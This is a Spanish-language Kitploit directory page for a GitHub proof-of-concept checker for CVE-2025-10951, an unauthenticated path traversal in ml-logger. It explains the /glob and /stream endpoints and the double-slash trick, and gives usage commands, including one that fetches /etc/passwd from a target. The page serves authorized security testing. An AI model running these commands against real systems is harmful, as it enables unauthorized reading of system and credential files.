Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-10951 — Comprobador de prueba de concepto para CVE-2025-10951, un path traversal sin autenticación en ml-logger, que valida la lectura arbitraria de archivos a través de los endpoints /glob y /stream. | Kitploit
Herramientas/GitHubGitHub/1amunvalid/cve-2025-10951
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de Información
GitHub1amunvalid/cve-2025-10951

CVE-2025-10951

Comprobador de prueba de concepto para CVE-2025-10951, un path traversal sin autenticación en ml-logger, que valida la lectura arbitraria de archivos a través de los endpoints /glob y /stream.

Ver Repositorio
hace 9 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-10951 - check_mllogger_traversal.py

Comprobador de prueba de existencia para CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — un path traversal sin autenticación en geyang/ml-logger (≤ 0.10.36), que afecta a las funciones log_handler / stream_handler en ml_logger/server.py.

Para uso exclusivo contra sistemas que estás autorizado a probar.

Qué comprueba

EndpointMétodoPropósito
/globPOSTConfirma que el servidor enumera rutas del sistema de archivos fuera del alcance previsto de la aplicación
/streamGETConfirma la lectura arbitraria de archivos mediante un truco de traversal con doble barra inicial (//ruta/al/archivo)

Por defecto, el paso de prueba solo lee /etc/hostname — una única línea inofensiva, presente en prácticamente todos los hosts Linux, nunca datos sensibles.

Requisitos

root@kitploit:~
pip install requests

Uso

Comprobación básica:

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT

Escribir resultados en JSON (para documentación / evidencia de la auditoría):

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json

Obtener un archivo específico que elijas (solo se ejecuta si se confirma la vulnerabilidad):

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT \
  --fetch /etc/passwd --output passwd.txt

Todo junto:

root@kitploit:~
python3 check_mllogger_traversal.py http://TARGET:PORT \
  --json results.json --fetch /etc/passwd --output passwd.txt

Opciones

Códigos de salida

  • 0 — vulnerabilidad confirmada (completa o probable)
  • 1 — no confirmado como vulnerable / objetivo inalcanzable

Ejemplo de salida JSON

root@kitploit:~
{
  "target": "http://192.xxx.xxx.xxx:8081",
  "timestamp": "2026-00-12T10:15:32.123456+00:00",
  "cve": "CVE-2025-10951",
  "glob_endpoint_confirmed": true,
  "stream_endpoint_confirmed": true,
  "vulnerable": true,
  "likely_vulnerable": true,
  "fetch": {
    "remote_path": "/etc/passwd",
    "local_path": "passwd.txt",
    "success": true
  }
}

Notas

  • --fetch solo se ejecutará después de que la comprobación de vulnerabilidad tenga éxito; no intentará obtener nada contra un objetivo no confirmado.
  • El script nunca selecciona un archivo para obtener en tu nombre; siempre debes proporcionar la ruta remota exacta.
  • El servidor tiene una peculiaridad conocida por la que ciertos fallos de lectura de archivos corrompen la respuesta de transferencia fragmentada (chunked) HTTP a mitad de transmisión (una página de error en bruto se escribe en el cuerpo en lugar de un error limpio). El script detecta esto y reporta un fallo en lugar de bloquearse.

Referencias

  • GHSA-8x9j-2p8r-7xc6
  • geyang/ml-logger#74 — lectura insegura de archivos
  • geyang/ml-logger#73 — subida insegura de archivos
  • geyang/ml-logger#72 — RCE por deserialización
  • NVD — CVE-2025-10951
Descargar herramienta
FlagDescripción
targetURL base, p. ej. http://192.xxx.x.xx:8081
--timeoutTiempo de espera de la solicitud en segundos (por defecto: 8.0)
--json FILEEscribe los resultados estructurados en un archivo JSON
--fetch REMOTE_PATHObtiene un archivo remoto específico que tú indiques
--output LOCAL_PATHNombre de archivo local para la salida de --fetch (por defecto: nombre base de la ruta remota)